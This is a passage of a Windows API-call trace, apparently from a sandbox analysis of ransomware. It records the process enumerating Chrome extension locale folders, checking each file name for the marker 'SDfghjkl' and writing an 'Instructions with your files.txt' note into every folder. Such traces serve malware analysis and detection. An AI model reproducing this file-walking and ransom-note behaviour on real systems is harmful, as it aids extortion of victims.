[0129.365] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\.") returned 145
[0129.365] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.365] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\..") returned 146
[0129.365] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.365] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json") returned 157
[0129.365] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.365] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.365] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\Instructions with your files.txt") returned 176
[0129.365] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.365] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.366] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.366] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.367] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.367] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.367] CloseHandle (hObject=0x134) returned 1
[0129.367] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.367] GetProcessHeap () returned 0x810000
[0129.367] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.367] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
[0129.367] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja") returned 143
[0129.367] GetProcessHeap () returned 0x810000
[0129.367] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.367] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*") returned 145
[0129.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.367] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\.") returned 145
[0129.367] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.367] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\..") returned 146
[0129.367] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.367] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json") returned 157
[0129.368] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.368] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.368] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\Instructions with your files.txt") returned 176
[0129.368] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.368] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.369] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.369] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.369] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.369] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.369] CloseHandle (hObject=0x134) returned 1
[0129.369] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.369] GetProcessHeap () returned 0x810000
[0129.369] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.369] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
[0129.369] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko") returned 143
[0129.369] GetProcessHeap () returned 0x810000
[0129.369] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.369] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*") returned 145
[0129.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.370] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\.") returned 145
[0129.370] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85264230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.370] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\..") returned 146
[0129.370] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.370] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\messages.json") returned 157
[0129.371] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.371] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85264a00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.371] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\Instructions with your files.txt") returned 176
[0129.371] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.371] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.372] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.372] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.372] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.372] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.372] CloseHandle (hObject=0x134) returned 1
[0129.372] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.372] GetProcessHeap () returned 0x810000
[0129.372] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.372] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
[0129.372] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt") returned 143
[0129.372] GetProcessHeap () returned 0x810000
[0129.372] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.373] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*") returned 145
[0129.373] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.373] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\.") returned 145
[0129.373] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8528a390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8528a390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.373] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\..") returned 146
[0129.373] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.373] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\messages.json") returned 157
[0129.373] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.373] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.373] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\Instructions with your files.txt") returned 176
[0129.373] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.373] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.374] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
